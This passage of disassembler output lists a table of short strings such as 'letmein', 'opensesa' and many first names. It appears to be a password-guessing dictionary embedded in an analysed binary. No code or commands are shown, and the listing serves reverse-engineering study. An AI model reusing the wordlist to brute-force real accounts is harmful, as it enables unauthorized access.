XREF: ___:0043092Co aOxford db 'oxford',0 ; DATA XREF: ___:00430928o align 4 aOutside db 'outside',0 ; DATA XREF: ___:00430924o aOutput db 'output',0 ; DATA XREF: ___:00430920o align 4 aOutlaw db 'outlaw',0 ; DATA XREF: ___:0043091Co align 4 aOutdoors db 'outdoors',0 ; DATA XREF: ___:00430918o align 10h aOsiris db 'osiris',0 ; DATA XREF: ___:00430914o align 4 aOscar db 'oscar',0 ; DATA XREF: ___:00430910o align 10h aOrwell db 'orwell',0 ; DATA XREF: ___:0043090Co align 4 aOrient db 'orient',0 ; DATA XREF: ___:00430908o align 10h aOrca db 'orca',0 ; DATA XREF: ___:00430904o align 4 aOperator db 'operator',0 ; DATA XREF: ___:00430900o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: ___:004308FCo align 10h aOpenlock db 'openlock',0 ; DATA XREF: ___:004308F8o align 4 aOpening db 'opening',0 ; DATA XREF: ___:004308F4o aOmega db 'omega',0 ; DATA XREF: ___:004308ECo align 4 aOlivia db 'olivia',0 ; DATA XREF: ___:004308E8o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: ___:004308E4o align 10h aOldage db 'oldage',0 ; DATA XREF: ___:004308E0o align 4 aOkay db 'okay',0 ; DATA XREF: ___:004308DCo align 10h aOffice db 'office',0 ; DATA XREF: ___:004308D8o align 4 aOcelot db 'ocelot',0 ; DATA XREF: ___:004308D4o align 10h aOceanogr db 'oceanogr',0 ; DATA XREF: ___:004308D0o align 4 aObscurit db 'obscurit',0 ; DATA XREF: ___:004308CCo align 4 aNyquist db 'nyquist',0 ; DATA XREF: ___:004308C8o aNuts db 'nuts',0 ; DATA XREF: ___:004308C4o align 4 aNutritio db 'nutritio',0 ; DATA XREF: ___:004308C0o align 4 aNumber db 'number',0 ; DATA XREF: ___:004308BCo align 4 aNull_1 db 'null',0 ; DATA XREF: ___:004308B8o align 4 aNukem db 'nukem',0 ; DATA XREF: ___:004308B4o align 4 aNuke db 'nuke',0 ; DATA XREF: ___:004308B0o align 4 aNude db 'nude',0 ; DATA XREF: ___:004308ACo align 4 aNuclear db 'nuclear',0 ; DATA XREF: ___:004308A8o aNoxious db 'noxious',0 ; DATA XREF: ___:004308A4o aNovember db 'november',0 ; DATA XREF: ___:004308A0o align 4 aNovel db 'novel',0 ; DATA XREF: ___:0043089Co align 10h aNova db 'nova',0 ; DATA XREF: ___:00430898o align 4 aNoth db 'noth',0 ; DATA XREF: ___:00430894o align 10h aNotes db 'notes',0 ; DATA XREF: ___:00430890o align 4 aNoreen db 'noreen',0 ; DATA XREF: ___:0043088Co align 10h aNode db 'node',0 ; DATA XREF: ___:00430888o align 4 aNobody db 'nobody',0 ; DATA XREF: ___:00430884o align 10h aNoble db 'noble',0 ; DATA XREF: ___:00430880o align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: ___:0043087Co align 10h aNita db 'nita',0 ; DATA XREF: ___:00430878o align 4 aNintendo db 'nintendo',0 ; DATA XREF: ___:00430874o align 4 aNightmar db 'nightmar',0 ; DATA XREF: ___:00430870o align 10h aNight db 'night',0 ; DATA XREF: ___:0043086Co align 4 aNicotine db 'nicotine',0 ; DATA XREF: ___:00430868o align 4 aNicole db 'nicole',0 ; DATA XREF: ___:00430864o align 4 aNice db 'nice',0 ; DATA XREF: ___:00430860o align 4 aNext db 'next',0 ; DATA XREF: ___:0043085Co align 4 aNewyork db 'newyork',0 ; DATA XREF: ___:00430858o aNewton db 'newton',0 ; DATA XREF: ___:00430854o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: ___:00430850o align 4 aNews db 'news',0 ; DATA XREF: ___:0043084Co align 10h aNewborn db 'newborn',0 ; DATA XREF: ___:00430848o aNetwork_0 db 'network',0 ; DATA XREF: ___:00430844o aNetscape db 'netscape',0 ; DATA XREF: ___:00430840o align 4 aNess db 'ness',0 ; DATA XREF: ___:0043083Co align 4 aNeptune db 'neptune',0 ; DATA XREF: ___:00430838o aNepenthe db 'nepenthe',0 ; DATA XREF: ___:00430834o align 4 aNavy db 'navy',0 ; DATA XREF: ___:00430830o align 10h aNasa db 'nasa',0 ; DATA XREF: ___:0043082Co align 4 aNapoleon db 'napoleon',0 ; DATA XREF: ___:00430828o align 4 aNancy db 'nancy',0 ; DATA XREF: ___:00430824o align 4 aName db 'name',0 ; DATA XREF: ___:00430820o align 4 aNagel db 'nagel',0 ; DATA XREF: ___:0043081Co align 4 aMutant db 'mutant',0 ; DATA XREF: ___:00430818o align 4 aMuppets db 'muppets',0 ; DATA XREF: ___:00430814o aMsdos db 'msdos',0 ; DATA XREF: ___:00430810o align 4 aMpeg db 'mpeg',0 ; DATA XREF: ___:0043080Co align 4 aMozart db 'mozart',0 ; DATA XREF: ___:00430808o align 4 aMovies db 'movies',0 ; DATA XREF: ___:00430804o align 4 aMovie db 'movie',0 ; DATA XREF: ___:00430800o align 4 aMove db 'move',0 ; DATA XREF: ___:004307FCo align 4 aMouse db 'mouse',0 ; DATA XREF: ___:004307F8o align 4 aMountain db 'mountain',0 ; DATA XREF: ___:004307F4o align 10h aMosaic db 'mosaic',0 ; DATA XREF: ___:004307F0o align 4 aMortgage db 'mortgage',0 ; DATA XREF: ___:004307ECo align 4 aMortalco db 'mortalco',0 ; DATA XREF: ___:004307E8o align 10h aMortal db 'mortal',0 ; DATA XREF: ___:004307E4o align 4 aMorris db 'morris',0 ; DATA XREF: ___:004307E0o align 10h aMorley db 'morley',0 ; DATA XREF: ___:004307DCo align 4 aMore db 'more',0 ; DATA XREF: ___:004307D8o align 10h aMoose db 'moose',0 ; DATA XREF: ___:004307D4o align 4 aMoor db 'moor',0 ; DATA XREF: ___:004307D0o align 10h aMoom db 'moom',0 ; DATA XREF: ___:004307CCo align 4 aMonica db 'monica',0 ; DATA XREF: ___:004307C8o align 10h aMonday db 'monday',0 ; DATA XREF: ___:004307C4o align 4 aMoguls db 'moguls',0 ; DATA XREF: ___:004307C0o align 10h aMogul db 'mogul',0 ; DATA XREF: ___:004307BCo align 4 aModem db 'modem',0 ; DATA XREF: ___:004307B8o align 10h aMode db 'mode',0 ; DATA XREF: ___:004307B4o align 4 aMkii db 'mkii',0 ; DATA XREF: ___:004307B0o align 10h aMission db 'mission',0 ; DATA XREF: ___:004307ACo aMisfit db 'misfit',0 ; DATA XREF: ___:004307A8o align 10h aMinsky db 'minsky',0 ; DATA XREF: ___:004307A4o align 4 aMinimum db 'minimum',0 ; DATA XREF: ___:004307A0o aMine db 'mine',0 ; DATA XREF: ___:0043079Co align 4 aMike db 'mike',0 ; DATA XREF: ___:00430798o align 10h aMidieval db 'midieval',0 ; DATA XREF: ___:00430794o align 4 aMicrosof db 'microsof',0 ; DATA XREF: ___:00430790o align 4 aMicropro db 'micropro',0 ; DATA XREF: ___:0043078Co align 4 aMicrochi db 'microchi',0 ; DATA XREF: ___:00430788o align 10h aMicro db 'micro',0 ; DATA XREF: ___:00430784o align 4 aMickey db 'mickey',0 ; DATA XREF: ___:00430780o align 10h aMichelle db 'michelle',0 ; DATA XREF: ___:0043077Co align 4 aMichele db 'michele',0 ; DATA XREF: ___:00430778o aMichelan db 'michelan',0 ; DATA XREF: ___:00430774o align 10h aMichel db 'michel',0 ; DATA XREF: ___:00430770o align 4 aMichael db 'michael',0 ; DATA XREF: ___:0043076Co aMice db 'mice',0 ; DATA XREF: ___:00430768o align 4 aMets db 'mets',0 ; DATA XREF: ___:00430764o align 10h aMetalica db 'metalica',0 ; DATA XREF: ___:00430760o align 4 aMetalhea db 'metalhea',0 ; DATA XREF: ___:0043075Co align 4 aMetal db 'metal',0 ; DATA XREF: ___:00430758o align 10h aMerlin db 'merlin',0 ; DATA XREF: ___:00430754o align 4 aMercury db 'mercury',0 ; DATA XREF: ___:00430750o aMenu db 'menu',0 ; DATA XREF: ___:0043074Co align 4 aMenace db 'menace',0 ; DATA XREF: ___:00430748o align 10h aMemory db 'memory',0 ; DATA XREF: ___:00430744o align 4 aMember db 'member',0 ; DATA XREF: ___:00430740o align 10h aMelrose db 'melrose',0 ; DATA XREF: ___:0043073Co aMellon db 'mellon',0 ; DATA XREF: ___:00430738o align 10h aMelissa db 'melissa',0 ; DATA XREF: ___:00430734o aMegan db 'megan',0 ; DATA XREF: ___:00430730o align 10h aMegadeth db 'megadeth',0 ; DATA XREF: ___:0043072Co align 4 aMegabyte db 'megabyte',0 ; DATA XREF: ___:00430728o align 4 aMeagan db 'meagan',0 ; DATA XREF: ___:00430724o align 10h aMaurice db 'maurice',0 ; DATA XREF: ___:00430720o aMath db 'math',0 ; DATA XREF: ___:0043071Co align 10h aMaster db 'master',0 ; DATA XREF: ___:00430718o align 4 aMason db 'mason',0 ; DATA XREF: ___:00430714o align 10h aMary db 'mary',0 ; DATA XREF: ___:00430710o align 4 aMarvin db 'marvin',0 ; DATA XREF: ___:0043070Co align 10h aMarty db 'marty',0 ; DATA XREF: ___:00430708o align 4 aMars db 'mars',0 ; DATA XREF: ___:00430704o align 10h aMarriage db 'marriage',0 ; DATA XREF: ___:00430700o align 4 aMarni db 'marni',0 ; DATA XREF: ___:004306FCo align 4 aMarkus db 'markus',0 ; DATA XREF: ___:004306F8o align 4 aMark db 'mark',0 ; DATA XREF: ___:004306F4o align 4 aMarines db 'marines',0 ; DATA XREF: ___:004306F0o aMarijuan db 'marijuan',0 ; DATA XREF: ___:004306ECo align 4 aMarietta db 'marietta',0 ; DATA XREF: ___:004306E8o align 4 aMariens db 'mariens',0 ; DATA XREF: ___:004306E4o aMaria db 'maria',0 ; DATA XREF: ___:004306E0o align 4 aMarcy db 'marcy',0 ; DATA XREF: ___:004306DCo align 4 aMarci db 'marci',0 ; DATA XREF: ___:004306D8o align 4 aMara db 'mara',0 ; DATA XREF: ___:004306D4o align 4 aManager db 'manager',0 ; DATA XREF: ___:004306D0o aMana db 'mana',0 ; DATA XREF: ___:004306CCo align 4 aMalcom db 'malcom',0 ; DATA XREF: ___:004306C8o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: ___:004306C4o aMaint db 'maint',0 ; DATA XREF: ___:004306C0o align 4 aMail db 'mail',0 ; DATA XREF: ___:004306BCo align 4 aMagnet db 'magnet',0 ; DATA XREF: ___:004306B8o align 4 aMagic db 'magic',0 ; DATA XREF: ___:004306B4o align 4 aMaggot db 'maggot',0 ; DATA XREF: ___:004306B0o align 4 aMacro db 'macro',0 ; DATA XREF: ___:004306ACo align 4 aMack db 'mack',0 ; DATA XREF: ___:004306A8o align 4 aMacintos db 'macintos',0 ; DATA XREF: ___:004306A4o align 10h aMachine db 'machine',0 ; DATA XREF: ___:004306A0o aLynne db 'lynne',0 ; DATA XREF: ___:0043069Co align 10h aLynn db 'lynn',0 ; DATA XREF: ___:00430698o align 4 aLust db 'lust',0 ; DATA XREF: ___:00430694o align 10h aLuke db 'luke',0 ; DATA XREF: ___:00430690o align 4 aLude db 'lude',0 ; DATA XREF: ___:0043068Co align 10h aLucy db 'lucy',0 ; DATA XREF: ___:00430688o align 4 aLucus db 'lucus',0 ; DATA XREF: ___:00430684o align 10h aLuck db 'luck',0 ; DATA XREF: ___:00430680o align 4 aLover db 'lover',0 ; DATA XREF: ___:0043067Co align 10h aLovebug db 'lovebug',0 ; DATA XREF: ___:00430678o aLouis db 'louis',0 ; DATA XREF: ___:00430674o align 10h aLoser db 'loser',0 ; DATA XREF: ___:00430670o align 4 aLorraine db 'lorraine',0 ; DATA XREF: ___:0043066Co align 4 aLorin db 'lorin',0 ; DATA XREF: ___:00430668o align 4 aLori db 'lori',0 ; DATA XREF: ___:00430664o align 4 aLore db 'lore',0 ; DATA XREF: ___:00430660o align 4 aLoose db 'loose',0 ; DATA XREF: ___:0043065Co align 4 aLolopc db 'lolopc',0 ; DATA XREF: ___:00430658o align 4 aLois db 'lois',0 ; DATA XREF: ___:00430654o align 4 aLogout db 'logout',0 ; DATA XREF: ___:00430650o align 4 aLoginwor db 'loginwor',0 ; DATA XREF: ___:0043064Co align 4 aLogic db 'logic',0 ; DATA XREF: ___:00430648o align 10h aLockword db 'lockword',0 ; DATA XREF: ___:00430644o align 4 aLockout db 'lockout',0 ; DATA XREF: ___:00430640o aLock db 'lock',0 ; DATA XREF: ___:0043063Co align 4 aLoad db 'load',0 ; DATA XREF: ___:00430638o align 4 aLive db 'live',0 ; DATA XREF: ___:00430634o align 4 aLiteratu db 'literatu',0 ; DATA XREF: ___:00430630o align 4 aLisp db 'lisp',0 ; DATA XREF: ___:0043062Co align 10h aLisa db 'lisa',0 ; DATA XREF: ___:00430628o align 4 aLips db 'lips',0 ; DATA XREF: ___:00430624o align 10h aLion db 'lion',0 ; DATA XREF: ___:00430620o align 4 aLink db 'link',0 ; DATA XREF: ___:0043061Co align 10h aLinda db 'linda',0 ; DATA XREF: ___:00430618o align 4 aLimited db 'limited',0 ; DATA XREF: ___:00430614o aLimbaugh db 'limbaugh',0 ; DATA XREF: ___:00430610o align 4 aLima db 'lima',0 ; DATA XREF: ___:0043060Co align 4 aLightsab db 'lightsab',0 ; DATA XREF: ___:00430608o align 10h aLight db 'light',0 ; DATA XREF: ___:00430604o align 4 aLife db 'life',0 ; DATA XREF: ___:00430600o align 10h aLicker db 'licker',0 ; DATA XREF: ___:004305FCo align 4 aLick db 'lick',0 ; DATA XREF: ___:004305F8o align 10h aLibrary db 'library',0 ; DATA XREF: ___:004305F4o aLiberal db 'liberal',0 ; DATA XREF: ___:004305F0o aLexluthe db 'lexluthe',0 ; DATA XREF: ___:004305ECo align 4 aLewis db 'lewis',0 ; DATA XREF: ___:004305E8o align 4 aLetmein db 'letmein',0 ; DATA XREF: ___:004305E4o aLeslie db 'leslie',0 ; DATA XREF: ___:004305E0o align 4 aLesbian db 'lesbian',0 ; DATA XREF: ___:004305DCo aLeroy db 'leroy',0 ; DATA XREF: ___:004305D8o align 4 aLeland db 'leland',0 ; DATA XREF: ___:004305D4o align 4 aLegal db 'legal',0 ; DATA XREF: ___:004305D0o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: ___:004305CCo align 10h aLeft db 'left',0 ; DATA XREF: ___:004305C8o align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: ___:004305C4o align 4 aLeah db 'leah',0 ; DATA XREF: ___:004305C0o align 4 aLazer db 'lazer',0 ; DATA XREF: ___:004305BCo align 4 aLazarus db 'lazarus',0 ; DATA XREF: ___:004305B8o aLava db 'lava',0 ; DATA XREF: ___:004305B4o align 4 aLaura db 'laura',0 ; DATA XREF: ___:004305B0o align 4 aLaser db 'laser',0 ; DATA XREF: ___:004305ACo align 4 aLarry db 'larry',0 ; DATA XREF: ___:004305A8o align 4 aLarkin db 'larkin',0 ; DATA XREF: ___:004305A4o align 4 aLara db 'lara',0 ; DATA XREF: ___:004305A0o align 4 aLaptop db 'laptop',0 ; DATA XREF: ___:0043059Co align 4 aLana db 'lana',0 ; DATA XREF: ___:00430598o align 4 aLaminati db 'laminati',0 ; DATA XREF: ___:00430594o align 4 aLambda db 'lambda',0 ; DATA XREF: ___:00430590o align 10h aLakers db 'lakers',0 ; DATA XREF: ___:0043058Co align 4 aLadle db 'ladle',0 ; DATA XREF: ___:00430588o align 10h aLadies db 'ladies',0 ; DATA XREF: ___:00430584o align 4 aKristy db 'kristy',0 ; DATA XREF: ___:00430580o align 10h aKristine db 'kristine',0 ; DATA XREF: ___:0043057Co align 4 aKristin db 'kristin',0 ; DATA XREF: ___:00430578o aKristie db 'kristie',0 ; DATA XREF: ___:00430574o aKristi db 'kristi',0 ; DATA XREF: ___:00430570o align 4 aKristen db 'kristen',0 ; DATA XREF: ___:0043056Co aKrista db 'krista',0 ; DATA XREF: ___:00430568o align 4 aKnown db 'known',0 ; DATA XREF: ___:00430564o align 4 aKnightma db 'knightma',0 ; DATA XREF: ___:00430560o align 4 aKnight db 'knight',0 ; DATA XREF: ___:0043055Co align 10h aKnife db 'knife',0 ; DATA XREF: ___:00430558o align 4 aKlingon db 'klingon',0 ; DATA XREF: ___:00430554o aKitten db 'kitten',0 ; DATA XREF: ___:00430550o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: ___:0043054Co align 4 aKiss db 'kiss',0 ; DATA XREF: ___:00430548o align 4 aKirkland db 'kirkland',0 ; DATA XREF: ___:00430544o align 4 aKirk db 'kirk',0 ; DATA XREF: ___:00430540o align 10h aKing db 'king',0 ; DATA XREF: ___:0043053Co align 4 aKimberly db 'kimberly',0 ; DATA XREF: ___:00430538o align 4 aKilo db 'kilo',0 ; DATA XREF: ___:00430534o align 4 aKillthem db 'killthem',0 ; DATA XREF: ___:00430530o align 4 aKill db 'kill',0 ; DATA XREF: ___:0043052Co align 10h aKids db 'kids',0 ; DATA XREF: ___:00430528o align 4 aKeyword db 'keyword',0 ; DATA XREF: ___:00430524o aKeyin db 'keyin',0 ; DATA XREF: ___:00430520o align 4 aKeybord db 'keybord',0 ; DATA XREF: ___:0043051Co aKewl db 'kewl',0 ; DATA XREF: ___:00430518o align 4 aKevin db 'kevin',0 ; DATA XREF: ___:00430514o align 10h aKerry db 'kerry',0 ; DATA XREF: ___:00430510o align 4 aKerrie db 'kerrie',0 ; DATA XREF: ___:0043050Co align 10h aKerri db 'kerri',0 ; DATA XREF: ___:00430508o align 4 aKernel db 'kernel',0 ; DATA XREF: ___:00430504o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00430500o align 4 aKeri db 'keri',0 ; DATA XREF: ___:004304FCo align 10h aKelly db 'kelly',0 ; DATA XREF: ___:004304F8o align 4 aKatrina db 'katrina',0 ; DATA XREF: ___:004304F4o aKatina db 'katina',0 ; DATA XREF: ___:004304F0o align 4 aKathy db 'kathy',0 ; DATA XREF: ___:004304ECo align 10h aKathrine db 'kathrine',0 ; DATA XREF: ___:004304E8o align 4 aKathleen db 'kathleen',0 ; DATA XREF: ___:004304E4o align 4 aKate db 'kate',0 ; DATA XREF: ___:004304E0o align 10h aKatana db 'katana',0 ; DATA XREF: ___:004304DCo align 4 aKarina db 'karina',0 ; DATA XREF: ___:004304D8o align 10h aKarie db 'karie',0 ; DATA XREF: ___:004304D4o align 4 aKaren db 'karen',0 ; DATA XREF: ___:004304D0o align 10h aKaka db 'kaka',0 ; DATA XREF: ___:004304CCo align 4 aJupiter db 'jupiter',0 ; DATA XREF: ___:004304C8o aJune db 'june',0 ; DATA XREF: ___:004304C4o align 4 aJuliet db 'juliet',0 ; DATA XREF: ___:004304C0o align 10h aJulie db 'julie',0 ; DATA XREF: ___:004304BCo align 4 aJulia db 'julia',0 ; DATA XREF: ___:004304B8o align 10h aJuicy db 'juicy',0 ; DATA XREF: ___:004304B4o align 4 aJuggle db 'juggle',0 ; DATA XREF: ___:004304B0o align 10h aJudy db 'judy',0 ; DATA XREF: ___:004304ACo align 4 aJudith db 'judith',0 ; DATA XREF: ___:004304A8o align 10h aJoyce db 'joyce',0 ; DATA XREF: ___:004304A4o align 4 aJournal db 'journal',0 ; DATA XREF: ___:004304A0o aJoshua db 'joshua',0 ; DATA XREF: ___:0043049Co align 4 aJoseph db 'joseph',0 ; DATA XREF: ___:00430498o align 10h aJohnny db 'johnny',0 ; DATA XREF: ___:00430494o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: ___:00430490o aJohn db 'john',0 ; DATA XREF: ___:0043048Co align 4 aJody db 'jody',0 ; DATA XREF: ___:00430488o align 10h aJoanne db 'joanne',0 ; DATA XREF: ___:00430484o align 4 aJixian db 'jixian',0 ; DATA XREF: ___:00430480o align 10h aJill db 'jill',0 ; DATA XREF: ___:0043047Co align 4 aJewelry db 'jewelry',0 ; DATA XREF: ___:00430478o aJester db 'jester',0 ; DATA XREF: ___:00430474o align 4 aJessica db 'jessica',0 ; DATA XREF: ___:00430470o aJerusale db 'jerusale',0 ; DATA XREF: ___:0043046Co align 4 aJerry db 'jerry',0 ; DATA XREF: ___:00430468o align 4 aJenny db 'jenny',0 ; DATA XREF: ___:00430464o align 4 aJennifer db 'jennifer',0 ; DATA XREF: ___:00430460o align 4 aJenni db 'jenni',0 ; DATA XREF: ___:0043045Co align 10h aJeff db 'jeff',0 ; DATA XREF: ___:00430458o align 4 aJeanne db 'jeanne',0 ; DATA XREF: ___:00430454o align 10h aJean db 'jean',0 ; DATA XREF: ___:00430450o align 4 aJazz db 'jazz',0 ; DATA XREF: ___:0043044Co align 10h aJava db 'java',0 ; DATA XREF: ___:00430448o align 4 aJasmin db 'jasmin',0 ; DATA XREF: ___:00430444o align 10h aJapan db 'japan',0 ; DATA XREF: ___:00430440o align 4 aJanie db 'janie',0 ; DATA XREF: ___:0043043Co align 10h aJanice db 'janice',0 ; DATA XREF: ___:00430438o align 4 aJanet db 'janet',0 ; DATA XREF: ___:00430434o align 10h aJane db 'jane',0 ; DATA XREF: ___:00430430o align 4 aJail db 'jail',0 ; DATA XREF: ___:0043042Co align 10h aJackie db 'jackie',0 ; DATA XREF: ___:00430428o align 4 aIsis db 'isis',0 ; DATA XREF: ___:00430424o align 10h aIrishman db 'irishman',0 ; DATA XREF: ___:00430420o align 4 aIrene db 'irene',0 ; DATA XREF: ___:0043041Co align 4 aInvent db 'invent',0 ; DATA XREF: ___:00430418o align 4 aInteger db 'integer',0 ; DATA XREF: ___:00430414o aInside db 'inside',0 ; DATA XREF: ___:00430410o align 4 aInput db 'input',0 ; DATA XREF: ___:0043040Co align 4 aInnocuou db 'innocuou',0 ; DATA XREF: ___:00430408o align 10h aInna db 'inna',0 ; DATA XREF: ___:00430404o align 4 aIngrid db 'ingrid',0 ; DATA XREF: ___:00430400o align 10h aIngress db 'ingress',0 ; DATA XREF: ___:004303FCo aIngres db 'ingres',0 ; DATA XREF: ___:004303F8o align 10h aIndians db 'indians',0 ; DATA XREF: ___:004303F4o aIndiana db 'indiana',0 ; DATA XREF: ___:004303F0o aIndian db 'indian',0 ; DATA XREF: ___:004303ECo align 4 aIndia db 'india',0 ; DATA XREF: ___:004303E8o align 10h aInclude db 'include',0 ; DATA XREF: ___:004303E4o aImperial db 'imperial',0 ; DATA XREF: ___:004303E0o align 4 aImmortal db 'immortal',0 ; DATA XREF: ___:004303DCo align 10h aImbrogli db 'imbrogli',0 ; DATA XREF: ___:004303D8o align 4 aImage db 'image',0 ; DATA XREF: ___:004303D4o align 4 aIllumina db 'illumina',0 ; DATA XREF: ___:004303D0o align 10h aIcecream db 'icecream',0 ; DATA XREF: ___:004303CCo align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: ___:004303C8o align 4 aHyper db 'hyper',0 ; DATA XREF: ___:004303C4o align 10h aHydrogen db 'hydrogen',0 ; DATA XREF: ___:004303C0o align 4 aHutchins db 'hutchins',0 ; DATA XREF: ___:004303BCo align 4 aHunter db 'hunter',0 ; DATA XREF: ___:004303B8o align 10h aHunt db 'hunt',0 ; DATA XREF: ___:004303B4o align 4 aHttp_0 db 'http',0 ; DATA XREF: ___:004303B0o align 10h aHotel db 'hotel',0 ; DATA XREF: ___:004303ACo align 4 aHotdog db 'hotdog',0 ; DATA XREF: ___:004303A8o align 10h aHost db 'host',0 ; DATA XREF: ___:004303A4o align 4 aHorus db 'horus',0 ; DATA XREF: ___:004303A0o align 10h aHorse db 'horse',0 ; DATA XREF: ___:0043039Co align 4 aHorror db 'horror',0 ; DATA XREF: ___:00430398o align 10h aHorrible db 'horrible',0 ; DATA XREF: ___:00430394o align 4 aHorny db 'horny',0 ; DATA XREF: ___:00430390o align 4 aHooters db 'hooters',0 ; DATA XREF: ___:0043038Co aHooker db 'hooker',0 ; DATA XREF: ___:00430388o align 4 aHoney db 'honey',0 ; DATA XREF: ___:00430384o align 4 aHomework db 'homework',0 ; DATA XREF: ___:00430380o align 4 aHomer db 'homer',0 ; DATA XREF: ___:0043037Co align 10h aHomepage db 'homepage',0 ; DATA XREF: ___:00430378o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: ___:00430374o align 4 aHolly db 'holly',0 ; DATA XREF: ___:00430370o align 10h aHole db 'hole',0 ; DATA XREF: ___:0043036Co align 4 aHits db 'hits',0 ; DATA XREF: ___:00430368o align 10h aHitler db 'hitler',0 ; DATA XREF: ___:00430364o align 4 aHighland db 'highland',0 ; DATA XREF: ___:00430360o align 4 aHigh db 'high',0 ; DATA XREF: ___:0043035Co align 4 aHidden db 'hidden',0 ; DATA XREF: ___:00430358o align 4 aHibernia db 'hibernia',0 ; DATA XREF: ___:00430354o align 10h aHiawatha db 'hiawatha',0 ; DATA XREF: ___:00430350o align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: ___:0043034Co align 4 aHewlett db 'hewlett',0 ; DATA XREF: ___:00430348o aHeroin db 'heroin',0 ; DATA XREF: ___:00430344o align 4 aHero db 'hero',0 ; DATA XREF: ___:00430340o align 10h aHerbert db 'herbert',0 ; DATA XREF: ___:0043033Co aHerb db 'herb',0 ; DATA XREF: ___:00430338o align 10h aHelp db 'help',0 ; DATA XREF: ___:00430334o align 4 aHello db 'hello',0 ; DATA XREF: ___:00430330o align 10h aHell db 'hell',0 ; DATA XREF: ___:0043032Co align 4 aHeinlein db 'heinlein',0 ; DATA XREF: ___:00430328o align 4 aHeidi db 'heidi',0 ; DATA XREF: ___:00430324o align 4 aHebrides db 'hebrides',0 ; DATA XREF: ___:00430320o align 4 aHeather db 'heather',0 ; DATA XREF: ___:0043031Co aHeathen db 'heathen',0 ; DATA XREF: ___:00430318o aHeat db 'heat',0 ; DATA XREF: ___:00430314o align 10h aHeadbang db 'headbang',0 ; DATA XREF: ___:00430310o align 4 aHead db 'head',0 ; DATA XREF: ___:0043030Co align 4 aHawaii db 'hawaii',0 ; DATA XREF: ___:00430308o align 4 aHaven db 'haven',0 ; DATA XREF: ___:00430304o align 4 aHate db 'hate',0 ; DATA XREF: ___:00430300o align 4 aHarvey db 'harvey',0 ; DATA XREF: ___:004302FCo align 4 aHarold db 'harold',0 ; DATA XREF: ___:004302F8o align 4 aHarmony db 'harmony',0 ; DATA XREF: ___:004302F4o aHarddriv db 'harddriv',0 ; DATA XREF: ___:004302F0o align 10h aHardcore db 'hardcore',0 ; DATA XREF: ___:004302ECo align 4 aHard db 'hard',0 ; DATA XREF: ___:004302E8o align 4 aHappenin db 'happenin',0 ; DATA XREF: ___:004302E4o align 10h aHandjob db 'handjob',0 ; DATA XREF: ___:004302E0o aHandily db 'handily',0 ; DATA XREF: ___:004302DCo aHandel db 'handel',0 ; DATA XREF: ___:004302D8o align 4 aHamster db 'hamster',0 ; DATA XREF: ___:004302D4o aHamlet db 'hamlet',0 ; DATA XREF: ___:004302D0o align 4 aHallowee db 'hallowee',0 ; DATA XREF: ___:004302CCo align 4 aHair db 'hair',0 ; DATA XREF: ___:004302C8o align 4 aHagar db 'hagar',0 ; DATA XREF: ___:004302C4o align 4 aHacked db 'hacked',0 ; DATA XREF: ___:004302C0o align 4 aHack db 'hack',0 ; DATA XREF: ___:004302BCo align 4 aGuntis db 'guntis',0 ; DATA XREF: ___:004302B8o align 4 aGumption db 'gumption',0 ; DATA XREF: ___:004302B4o align 4 aGuitar db 'guitar',0 ; DATA XREF: ___:004302B0o align 10h aGuess db 'guess',0 ; DATA XREF: ___:004302ACo align 4 aGucci db 'gucci',0 ; DATA XREF: ___:004302A8o align 10h aGuardian db 'guardian',0 ; DATA XREF: ___:004302A4o align 4 aGryphon db 'gryphon',0 ; DATA XREF: ___:004302A0o aGroup db 'group',0 ; DATA XREF: ___:0043029Co align 4 aGreen db 'green',0 ; DATA XREF: ___:00430298o align 4 aGreat db 'great',0 ; DATA XREF: ___:00430294o align 4 aGrant db 'grant',0 ; DATA XREF: ___:00430290o align 4 aGrand db 'grand',0 ; DATA XREF: ___:0043028Co align 4 aGrahm db 'grahm',0 ; DATA XREF: ___:00430288o align 4 aGraham db 'graham',0 ; DATA XREF: ___:00430284o align 4 aGrades db 'grades',0 ; DATA XREF: ___:00430280o align 4 aGovermen db 'govermen',0 ; DATA XREF: ___:0043027Co align 10h aGouge db 'gouge',0 ; DATA XREF: ___:00430278o align 4 aGosling db 'gosling',0 ; DATA XREF: ___:00430274o aGorges db 'gorges',0 ; DATA XREF: ___:00430270o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: ___:0043026Co align 4 aGood db 'good',0 ; DATA XREF: ___:00430268o align 4 aGolfer db 'golfer',0 ; DATA XREF: ___:00430264o align 4 aGolf db 'golf',0 ; DATA XREF: ___:00430260o align 4 aGolden db 'golden',0 ; DATA XREF: ___:0043025Co align 4 aGold db 'gold',0 ; DATA XREF: ___:00430258o align 4 aGlacier db 'glacier',0 ; DATA XREF: ___:00430254o aGirl db 'girl',0 ; DATA XREF: ___:00430250o align 4 aGinger db 'ginger',0 ; DATA XREF: ___:0043024Co align 4 aGina db 'gina',0 ; DATA XREF: ___:00430248o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: ___:00430244o align 4 aGibson db 'gibson',0 ; DATA XREF: ___:00430240o align 10h aGhost db 'ghost',0 ; DATA XREF: ___:0043023Co align 4 aGertrude db 'gertrude',0 ; DATA XREF: ___:00430238o align 4 aGerm db 'germ',0 ; DATA XREF: ___:00430234o align 4 aGeorge db 'george',0 ; DATA XREF: ___:00430230o align 4 aGauss db 'gauss',0 ; DATA XREF: ___:0043022Co align 4 aGatt db 'gatt',0 ; DATA XREF: ___:00430228o align 4 aGatherin db 'gatherin',0 ; DATA XREF: ___:00430224o align 10h aGateway db 'gateway',0 ; DATA XREF: ___:00430220o aGarfield db 'garfield',0 ; DATA XREF: ___:0043021Co align 4 aGardner db 'gardner',0 ; DATA XREF: ___:00430218o aGames db 'games',0 ; DATA XREF: ___:00430214o align 4 aGabriel db 'gabriel',0 ; DATA XREF: ___:00430210o aFungible db 'fungible',0 ; DATA XREF: ___:0043020Co align 4 aFunction db 'function',0 ; 